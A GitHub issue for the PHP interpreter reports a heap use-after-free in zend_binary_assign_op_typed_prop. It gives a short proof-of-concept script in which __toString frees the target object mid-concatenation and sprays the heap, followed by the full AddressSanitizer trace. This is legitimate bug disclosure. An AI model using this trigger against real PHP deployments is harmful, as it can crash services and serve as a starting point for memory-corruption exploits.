Skip to content

Heap use-after-free via zend_binary_assign_op_typed_prop #21898

@kdsjZh

Description

@kdsjZh

Description

The following code:

<?php
class Target { public string $s = "initial"; }
class Evil {
    public function __toString(): string {
        global $target; $target = null;
        for ($i = 0; $i < 400; $i++) $GLOBALS['spray'][] = str_repeat("B", 96);
        return "evil-string";
    }
}
$target = new Target();
        $pn = "s";
// SPEC: ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER
$target->{$pn} .= new Evil();
echo "done\n";

Resulted in this output:

==961261==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001cd91 at pc 0x5daf5a90a09e bp 0x7ffc514d9870 sp 0x7ffc514d9860
READ of size 1 at 0x50600001cd91 thread T0
    #0 0x5daf5a90a09d in i_zval_ptr_dtor /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.h:42
    #1 0x5daf5a91cb93 in concat_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:2129
    #2 0x5daf5a6601da in zend_binary_assign_op_typed_prop /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.c:1699
    #3 0x5daf5a7d7e4e in ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:53378
    #4 0x5daf5a7fdf37 in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121625
    #5 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #6 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #7 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #8 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #9 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #10 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #11 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #12 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #13 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

0x50600001cd91 is located 49 bytes inside of 56-byte region [0x50600001cd60,0x50600001cd98)
freed by thread T0 here:
    #0 0x778cec6fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x5daf5a54a0c3 in __zend_free /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:3571
    #2 0x5daf5a545f30 in _efree /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:2790
    #3 0x5daf5a8f7334 in zend_objects_store_del /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_objects_API.c:200
    #4 0x5daf5a947ddf in rc_dtor_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.c:57
    #5 0x5daf5a653c5e in zend_assign_to_variable /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.h:183
    #6 0x5daf5a7a7f76 in ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:45688
    #7 0x5daf5a7fb79b in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:120975
    #8 0x5daf5a64a60e in zend_call_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute_API.c:1010
    #9 0x5daf5a64b62f in zend_call_known_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute_API.c:1104
    #10 0x5daf5a8e216e in zend_call_known_instance_method /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.h:866
    #11 0x5daf5a8e21a8 in zend_call_known_instance_method_with_0_params /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.h:872
    #12 0x5daf5a8f521d in zend_std_cast_object_tostring /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_object_handlers.c:2499
    #13 0x5daf5a9118ee in __zval_get_string_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:1088
    #14 0x5daf5a911b6c in zval_try_get_string_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:1115
    #15 0x5daf5a91c381 in concat_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:2069
    #16 0x5daf5a6601da in zend_binary_assign_op_typed_prop /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.c:1699
    #17 0x5daf5a7d7e4e in ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:53378
    #18 0x5daf5a7fdf37 in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121625
    #19 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #20 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #21 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #22 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #23 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #24 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #25 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #26 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #27 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

previously allocated by thread T0 here:
    #0 0x778cec6fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5daf5a549f7b in __zend_malloc /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:3543
    #2 0x5daf5a545e53 in _emalloc /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:2780
    #3 0x5daf5a8f9b62 in zend_objects_new /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_objects.c:191
    #4 0x5daf5a55d054 in _object_and_properties_init /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.c:1847
    #5 0x5daf5a55d20e in object_init_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.c:1870
    #6 0x5daf5a6c91dc in ZEND_NEW_SPEC_CONST_UNUSED_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:11284
    #7 0x5daf5a7ee9de in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:117563
    #8 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #9 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #10 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #11 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #12 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #13 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #14 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #15 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #16 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

SUMMARY: AddressSanitizer: heap-use-after-free /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.h:42 in i_zval_ptr_dtor
Shadow bytes around the buggy address:
  0x50600001cb00: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
  0x50600001cb80: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x50600001cc00: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
  0x50600001cc80: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x50600001cd00: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x50600001cd80: fd fd[fd]fa fa fa fa fa 00 00 00 00 00 00 00 fa
  0x50600001ce00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001ce80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001cf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001cf80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001d000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==961261==ABORTING

PHP Version

PHP 8.5.5-dev (cli) (built: Apr 14 2026 18:43:12) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.5.5-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.5.5-dev, Copyright (c), by Zend Technologies

Operating System

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions